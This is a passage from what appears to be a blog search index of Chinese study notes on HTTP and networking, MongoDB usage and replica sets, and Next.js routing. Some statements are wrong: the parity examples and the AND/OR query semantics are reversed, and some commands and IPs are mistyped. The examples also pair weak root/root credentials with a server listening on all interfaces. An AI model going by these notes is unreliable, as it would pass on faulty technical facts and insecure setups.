ID：用于区分http连接，不同的http连接，ID是不同的\n判断是否是http长连接，通过headers的Connection来判断，如果为keep-alive就是代表该请求是http的长连接完成的，如果是close表示是短连接\n因为浏览器限制一个域最大创建6个连接，如果一个域有7个连接需求，就需要等待前面的6个连接其中一个响应完成后再建立连接（连接阻塞）\nTCP的可靠性\n奇偶校验（在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错）\n这里使用的是00001010，a的二进制\n奇校验：在字节后补个0，例如：000010100，位为1的数量为偶数（2个）\n偶校验：在字节后补个1，例如：000010101，位为1的数量为奇数（3个）\n累加和校验（在数据包的最后加入之前全部数据的字节点累加和）\n例如：要传输8，10，2，5，12\n加上累加后实质的数据包为8，10，2，5，12，37\n而且这个37就是前面全部数据的累加校验和，数据接收方只需要对前面的数据进行累加计算，如果这个本地的累加计算和数据包最后一个字节不相同时，认定数据错误，否则数据正确\nCRC校验（CRC算法）\nDV（域名验证）证书，OV（组织验证）证书，EV（扩展验证）证书\nDV ssl证书颁发只验证申请人是否具备域名所有权，OV ssl证书颁发验证申请人的身份证明，确认对方的身份，EV ssl证书颁发最为严格，在验证申请人的身份证明，一般都是银行，金融，电子商务，大型企业，保险等需要最高级别加密才会使用（因为EV证书价格贵）\n","permalink":"https://xiaochenabc123.github.io/posts/77/","summary":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误","title":"简单认识HTTP协议"},{"content":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u0026gt;1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod \u0026ndash;dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo \u0026ndash;port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(\u0026ldquo;hallo\u0026rdquo;)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(\u0026ldquo;test\u0026rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )\n整个集合空间大小102400B, 文档最大个数为10000个\n删除集合（删除test集合）\ndb.test.drop()\n插入数据（数据结构和json一样）\ndb.test.insert() // 当数据主键已存在，抛出错误\ndb.test.insert({\rtitle: \u0026quot;小陈的辣鸡屋\u0026quot;, description: \u0026quot;小陈辣鸡屋\u0026quot;,\rby: \u0026quot;小陈的辣鸡屋\u0026quot;,\rurl: \u0026quot;https://xiaochenabc123.test.com\u0026quot;,\rtags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;],\rlikes: 1\r})\r查看插入的文档数据（默认只输出20条，输入it指令查看下一批，返回值为游标对象）\ndb.test.find()\n也可以将数据定位为一个变量\ndata=({\rtitle: \u0026quot;小陈的辣鸡屋\u0026quot;, description: \u0026quot;小陈辣鸡屋\u0026quot;,\rby: \u0026quot;小陈的辣鸡屋\u0026quot;,\rurl: \u0026quot;https://xiaochenabc123.test.com\u0026quot;,\rtags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;],\rlikes: })\r更新数据（upsert参数是表示特殊的更新，如果目标不存在，那么就是插入）\ndb.test.update({\rtitle: \u0026quot;小陈的辣鸡屋\u0026quot;,\rtags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;],\r},{$set:{\u0026quot;title\u0026quot;:\u0026quot;hallo 小陈的辣鸡屋\u0026quot;,tags: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;,\u0026quot;xiaochenabc123.test.com\u0026quot;]}},{\u0026quot;upsert\u0026quot;: true})\r更新数据（主键存在则更新，不存在则插入）\ndb.test.save({\r\u0026quot;_id\u0026quot; : ObjectId(\u0026quot;610f84ac242ec572ff8a1678\u0026quot;),\r\u0026quot;title\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot;, \u0026quot;description\u0026quot;: \u0026quot;小陈辣鸡屋\u0026quot;,\r\u0026quot;by\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot;,\r\u0026quot;url\u0026quot;: \u0026quot;https://xiaochenabc123.test.com\u0026quot;,\r\u0026quot;tags\u0026quot;: [\u0026quot;小陈\u0026quot;, \u0026quot;hallo\u0026quot;, \u0026quot;chenjunlin\u0026quot;],\r\u0026quot;likes\u0026quot;: 666\r})\r查看更新后的数据\ndb.test.find().pretty()\n删除数据\ndb.test.remove({\r\u0026quot;title\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot;\r},1)\r将title为小陈的辣鸡屋的第一条记录移除\n删除指定条件的数据\ndb.test.remove({\r\u0026quot;title\u0026quot;: \u0026quot;小陈的辣鸡屋\u0026quot;\r})\r删除全部数据\ndb.test.remove({})\n或者db.test.drop\n查询数据\nAND，OR\n查询条件默认为AND（和），只要有一项为真，则输出\ndb.test.find({\u0026ldquo;title\u0026rdquo;:\u0026ldquo;小陈的辣鸡屋\u0026rdquo;,\u0026ldquo;by\u0026rdquo;: \u0026ldquo;小陈的辣鸡屋\u0026rdquo;}).pretty()\nOR条件（或），需要全部项都真，则输出\ndb.test.find({$or:[{\u0026ldquo;title\u0026rdquo;:\u0026ldquo;小陈的辣鸡屋\u0026rdquo;,\u0026ldquo;by\u0026rdquo;: \u0026ldquo;小陈的辣鸡屋hallo\u0026rdquo;}]}).pretty()\n其他逻辑符：非（$not）,即非（$nor）\n条件判断\n大于（$gt）\ndb.test.find({likes : {$gt : 100}})\n大于等于（$gte）\ndb.test.find({likes : {$gte : 100}})\n小于（$lt）\ndb.test.find({likes : {$lt : 1000}})\n小于等于（$lte）\ndb.test.find({likes : {$lte : 1000}})\n组合（大于100，小于1000）\ndb.test.find({likes : {$gt : 100,$lte : 1000}})\n其他比较符：等于（$eq）,数组是否包含（$in）,不等于（$ne）,数组是否不包含（$nin）\n数组比较符：全包含（$all），大小匹配（$size），仅一个元素匹配（$elemMatch）\n按照降序输出（-1降序，1为顺序（默认为顺序，可省略1））\ndb.test.find().sort({id: -1})\n分页输出查询（这里是查看第3页的数据，每个页有5个数据）\ndb.test.find().skip(10).limit(5)\nskip: 指定跳过指定数量的数据 limit: 指定一个页有多少条数据\n投射（指定字段输出，默认输出_id，需要通过参数去除）\ndb.test.find({},{_id:0, title: 1,by: 1}).linit(5)\n聚合查询\n$match：过滤，类似于sql的where\n$project：投影，类似于sql的as\n$sort：排序，类似于sql的order by\n$group：分组，类似于sql的group by\n$skip/$limit：结果限制，类似于sql的skip/limit\n$lookup：左外连接，类似于sql的left outer join\ndb.test.aggregate({\r{$sort({_id: -1})}\r{$group: {_id: \u0026quot;$title\u0026quot;, data: {$sum :1}}}\r})\r按照id降序输出，并且按照title字段输出，每个数据累计一行输出\n查看数据库信息（其中size字段为数据库的大小，默认单位为字节,这里输出的单位是MB）\ndb.test.stats(1024*1024)\n登录验证（auth）\n选择库\nuse admin\n创建用户\ndb.createUser({\ruser:\u0026quot;root\u0026quot;,\rpwd:\u0026quot;root\u0026quot;,\rroles:[\r{\rrole:\u0026quot;userAdminAnyDatabase\u0026quot;,\rdb:\u0026quot;admin\u0026quot;\r},\r{\rrole:\u0026quot;clusterAdmin\u0026quot;,\rdb:\u0026quot;admin\u0026quot;\r},\r{\rrole:\u0026quot;dbAdminAnyDatabase\u0026quot;,\rdb:\u0026quot;admin\u0026quot;\r}\r]\r})\r如果创建普通用户，role为readWrite和read\nread：允许读数据的权限\nreadWrite：允许读和写数据的权限\nuserAdminAnyDatabase：允许管理所有数据库的用户的权限，只能用于admin用户\nclusterAdmin：获取管理集群的最高权限，只能用于admin用户\ndbAdminAnyDatabase： 获取管理所有数据库的权限，只能用于admin用户\nroot没有任何限制（吴迪）\ndb.createUser(\r{\ruser:\u0026quot;root\u0026quot;,\rpwd:\u0026quot;pwd\u0026quot;,\rroles:[\u0026quot;root\u0026quot;]\r}\r)\r启用auth\nmongod.conf\nsecurity: authorization: enabled\n或者\nmongo.conf\nauth=true\n也是可以终端 mongod \u0026ndash;auth\n注意：MongoDB允许同user，但是db不允许相同，因为同用户名的用户之间是根据db参数区别的，db参数就是该用户在该数据库的权限（admin用户除外）\n查看用户\nshow users\n修改密码\ndb.changeUserPassword(\u0026ldquo;admin\u0026rdquo;, \u0026ldquo;abc123\u0026rdquo;)\n或者\ndb.runCommand(\r{\rupdateUser:\u0026quot;admin\u0026quot;,\rpwd:\u0026quot;abc123\u0026quot;,\r}\r)\r删除用户\ndb.dropUser(\u0026lsquo;root\u0026rsquo;)\n验证用户（用户鉴权）（符合1表示验证成功，0为失败）\ndb.auth(\u0026lsquo;admin\u0026rsquo;, \u0026lsquo;abc123\u0026rsquo;)\n登录\nmongo -u admin -p abc123 \u0026ndash;host localhostt \u0026ndash;port 27017 \u0026ndash;authenticationDatabase admin\n或者\nmongo mongodb://admin:abc123@127.0.0.1:27017\nmongo shell 基于JavaScript语法，因此可以执行JavaScript程序，其JavaScript解析器引擎为SpiderMonkey（正是Firefox浏览器同款解释器，由Mozilla提供）（注意：在3.2+版本，才是SpiderMonkey引擎，之前的版本是v8引擎）\n索引，通过关键词来快速得到自己想要的数据\n升序输出单字段索引 db.test.ensureIndex({title:1})\n复合索引就是多字段组合的索引\ndb.test.ensureIndex({_id:1, title:1})\n数组索引（tags字段是一个数组）\ndb.test.ensureIndex({tags:1})\n注意：MongoDB不允许在复合索引中出现多个数组字段\n唯一性约束（保证数据的唯一性，写入重复的数据，会导致报错（输出的字段也不是唯一的也报错），使用unique: true声明）\ndb.test.ensureIndex({title:1}, {unique: true})\n数组索引的唯一性并不能保证数组元素的唯一性\nTTL索引（数据老化处理）\ndb.test.ensureIndex({Date:1}, {expireAfterSeconds: 60})\n创建一个TTL索引，指向Date字段，并且expireAfterSeconds: 60表示该数据60秒后过期（过期后，会进行清理该数据）\n修改过期时间（已创建TTL索引）\ndb.runCommand({collMod:\u0026ldquo;test\u0026rdquo;,index: {keyPattern:{Data:1},expireAfterSeconds: 600}})\n修改过期时间为10分钟\nMongoDB允许多个结构不同的数据存储在同一个数据库中（索引该数据时，不存在的字段将输出null）\n稀疏索引\ndb.test.ensureIndex({title:1}, {sparse: true})\n文本索引\ndb.test.ensureIndex({title: \u0026ldquo;text\u0026rdquo;, by: \u0026ldquo;text\u0026rdquo;})\n通过文本索引进行搜索文本（通过$text操作符输出包含$search指向的关键词的数据，对中日韩等语言支持不怎么理想，对英文支持很好）\ndb.test.find({$text: {$search: \u0026ldquo;chen\u0026rdquo;}})\n模糊索引（假设data是一个嵌套数据，其下还有多个不同的属性）\ndb.test.createIndex({\u0026ldquo;data.$**\u0026rdquo;: 1})\n副本集架构（由一个主节点和多个副本节点组成）\n主节点写入数据后，副本节点进行同步复制工作，确保副本节点拥有和主节点的数据副本，当主节点发生故障不可用时，副本节点将通过Raft算法选举出新的主节点（这个步骤是全自动的，无需进行额外配置）\nRaft选举算法：主节点会向副节点发送心跳包，确保主节点存活，如果在一段时间内副节点没有接收到心跳包，副节点将转换为候选者，候选者得到投票数最多者成为主节点（副节点在每个选举期中只能给候选者投一票，而且只有当对方的任期时间和日志时间与自己一样新时，才进行投票给对方，如果没有得到最多数票，会重新发起选举，如果在该选举期中发现有主节点的心跳包时，进行判断对方任期是否和自己一样新，如果是则为副节点，如果不是，继续选举）\n只能是当任期结束了或者主节点没有发送心跳包了才会触发选举，而且Raft使用了一种预投票的机制（preVote），通过预投票的方式来试探是否选举成功，只有当预投票通过才能发起真实的投票\nMongoDB基于Raft算法进行了一些扩展，例如副节点可以选择离自己最近（心跳延时）的节点来复制数据，并不一定要向主节点复制数据\nMongoDB的选举：具备投票权的节点之间互相发送心跳（默认每2秒发送一次心跳包），当5次心跳没有接收到时，认定该节点失联，如果失联是主节点，会发起选举，成为候选者，如果失联的是副节点，则不会发起选举，成为候选者后，其他节点只有当对方的oplog日志和自己一样新时，投票给对方，一个节点一个选举期内只能投一票，候选者票数占大数时为主节点，如果主节点突然存活了，则判断该节点的oplog日志是否和自己一样，如果不是则继续选举，如果是则放弃选举，重新恢复到副节点身份\noplog同步数据，主节点当一个写操作完成时，向oplog写入一条日志，副节点通过该oplog拉取新日志，达到数据同步\n当主节点发生修改，插入，更新，删除等操作时，主节点会将这些操作记录下来，而这个记录叫oplog\n副节点通过在主节点上打开tailable游标来获取主节点的新oplog，并且将oplog的记录在自身回放，来保持于主节点的数据一致\n注意：oplog的容量并不是无限的，是有固定大小的，当容量满了，会将旧日志滚动清理\n副本集架构在实现高可用的同时，也可以完成读写分离，数据分发，异地容灾\n一个副本集架构最少需要3个节点（并且节点都具备投票权）：一个主节点，2个副节点\n主节点接受写入工作，副节点承担复制主节点的数据工作\n副本集最多50个节点，具备选举投票权节点最多7个，其他节点则不参与投票\n成为主节点的节点选举必须是集群中大多数节点存活（选举投票权节点有7个时，最少要有4个选举节点存活），并且该节点能于多数节点连接通信，而且具备较新的oplog，而且还可以设置优先级来影响选举结果\n副本集节点的选配设置：是否具备投票权（v），优先级（优先级为0则表示该节点不会成为主节点，优先级越高则优先成为主节点，priority），隐藏（对应用不可见，但是可以复制主节点数据，隐藏节点可以具备投票权，但是优先级必须为0（不能成为主节点）hidden），延迟（复制多少秒之前的数据，保持于主节点的数据时间差（避免主节点数据因为误操作而导致副本集节点也跟着更新了），slaveDelay）\n副本集节点注意：副节点存在成为主节点的可能，因此不要将一些副节点的硬件配置设置很低，应该保持和主节点的配置一致，而且硬件尽量保持独立性，副本集节点软件版本应保持一致，增加副本节点不会提高副本集架构的写入性能，副本集的写入由主节点完成，主节点只能有一个，增加副本节点只能提高读的性能（读写分离，主写，副读）\n搭建mongodb副本集\n每个mongodb实例需要一个数据目录来存储数据文件，每个mongodb实例需要一个配置文件和一个日志文件\n副本集节点mongod.conf实例：\nsystemLog:\rdestination: file\rpath: \u0026quot;/mongodb1/mongodb.log\u0026quot; # 日志文件路径\rlogAppend: true # 实例重新启动时，将写入日志的末尾\rstorage:\rdbpath: \u0026quot;/mongodb1/data\u0026quot; # 数据存储目录\rjournal: enabled: true # 启用持久性日志\rprocessManagement:\rfork: true # 使用守护进程（独立进程）的模式运行实例\rpidFilePath: \u0026quot;/data/mongodb.pid\u0026quot; # 保存实例进程id的文件路径，会将pid写入到该文件中\rnet:\rbindIP: 0.0.0.0 # 0.0.0.0表示所有网卡都监听，如果设置为127.0.0.1，外界无法访问\rport: 27017\rreplication:\rreplSetName: a1 #副本集节点名称\r以配置文件的模式启动mongodb实例\nmongod -f db/mongod.conf\n查看mongod进程运行情况\nps -ef | grep mongod\n配置副本集\n进入一个节点，初始化，再将节点一个个传进副本集\nrs.initiate()\rrs.add('mongodb1:27017')\rrs.add('mongodb2:27017')\rrs.add('mongodb3:27017')\rmongodb1需要被解析（hosts文件配置主机名）\n或者节点初始化时就配置好\nrs.initiate({\r_id: 'rs0',\rmembers: [{\r_id: 0,\rhost: '196.168.1.2:27017'\r},{\r_id: 1,\rhost: '196.168.1.3:27017'\r},{\r_id: 2,\rhost: '196.168.1.4:27017'\r}]\r})\r验证副本集是否工作：在主节点上写入，然后在副节点上读，如果读到则表示工作正常\n分片集群架构\n\u0026ndash;\n数据模型设计\n数据模型是由一组符号，文本组成的集合，用来表达信息\n组成一个数据模型的元素有实体（Entity），属性（Attribute），以及关系（Relationship）\n传统的模型设计：概念模型（CDM），逻辑模型（LDM），物理模型（PDM）\nJSON文档模型设计（通过字段或者集合来表示关系）\n事务开发\nmongodb提供了事务来保证数据不丢失\n写入操作事务\nwritConcern决定一个写入操作落到多少个节点才算成功，取值为0时表示不关心，1至集群max节点数表示写入操作被复制到指定节点数才算成功，majority表示写入操作被复制到大多数节点才算成功，all表示全部节点都被写入时认定成功\n注意：当设置非0的值时，发起写入操作将导致阻塞，一直到认为成功为止\njournal决定这个节点写入操作如何才算成功，true表示写入操作落到journal文件中时认定成功，false表示写入操作落到内存时就认定成功\ndb.test.insert({count: 1}, {writConcern: {w: \u0026ldquo;majority\u0026rdquo;})\n读取操作事务\nreadPreference决定数据从哪个节点读，primary表示只选择主节点读，primaryPreferred表示优先选择主节点，如果不可用则选择副节点，secondary表示只选择副节点，secondaryPreferred表示优先选择副节点，如果副节点不可用，则选择主节点，nearest表示选择最近的节点（通过ping延迟来选择最近）\n在连接时设置\nmongodb://196.168.1.2:27017,196.168.1.3:27017,196.168.1.4:27017/?replicaSet=rs\u0026amp;readPreference=nearest\n或者在mongo shell设置\ndb.collection.find({}).readPref(\u0026rsquo;nearest\u0026rsquo;)\nreadConcern决定什么数据可以读，available表示读取全部可用数据，local表示全部可用并且熟悉当前分片的数据，majority表示读取在大多数节点上完成的数据，linearizable表示可线性化读取（只读取大多数节点确认的数据（会等待其他节点去更新，最后读取最新的数据，比majority更安全，但是读取数据时很慢，需要等待节点更新）），snapshot表示读取最近快照中的数据（只读同一个快照下的数据）\nmongodb通过维护快照来链接不同版本的数据（MVCC机制），被大多数节点确认过的版本都是快照，快照一直持续没有被使用才会被删除\n安全的读写分离：搭配writConcern和readConcern，writConcern和readConcern都设置为majority，表示数据写入安全和数据读取安全\n事务的ACID：原子性，一致性，隔离性，持久性\n事务完成之前，事务外的操作对该事务的修改不可访问\n","permalink":"https://xiaochenabc123.github.io/posts/76/","summary":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u0026gt;1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod \u0026ndash;dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo \u0026ndash;port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(\u0026ldquo;hallo\u0026rdquo;)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(\u0026ldquo;test\u0026rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )","title":"MongoDB学习笔记"},{"content":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n\u0026ldquo;dev\u0026rdquo; : \u0026ldquo;next\u0026rdquo;, \u0026ldquo;build\u0026rdquo;: \u0026ldquo;next build\u0026rdquo;, \u0026ldquo;start\u0026rdquo;: \u0026ldquo;next start\u0026rdquo;\n创建个js文件\nfunction Hallo(){\rreturn(\r\u0026lt;div\u0026gt;hallo next.js\u0026lt;/div\u0026gt;\r)\r}\rexport default Hallo\ryarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \u0026quot;next/link\u0026quot;\r\u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt;\rLink不支持直接加兄弟标签，起码要有一个父级标签\n利用Router实现跳转\nimport Router from \u0026quot;next/router\u0026quot;\r\u0026lt;button onClick={()=\u0026gt;{Router.push(\u0026quot;/\u0026quot;)}}\u0026gt;返回\u0026lt;/button\u0026gt;\r路由跳转通过query传递参数和接收参数\n传递参数\n\u0026lt;Link href=\u0026quot;/hallo?name=hallo\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt;\r接收参数\nimport {withRouter} from \u0026quot;next/router\u0026quot;\rconst Hallo = ({router}) =\u0026gt;{\rreturn(\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;{router.query.name} word\u0026lt;/div\u0026gt;\r\u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;Link\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rexport default withRouter(Hallo)\r也是可以用编程式跳转的方式\n函数的方式\nfunction 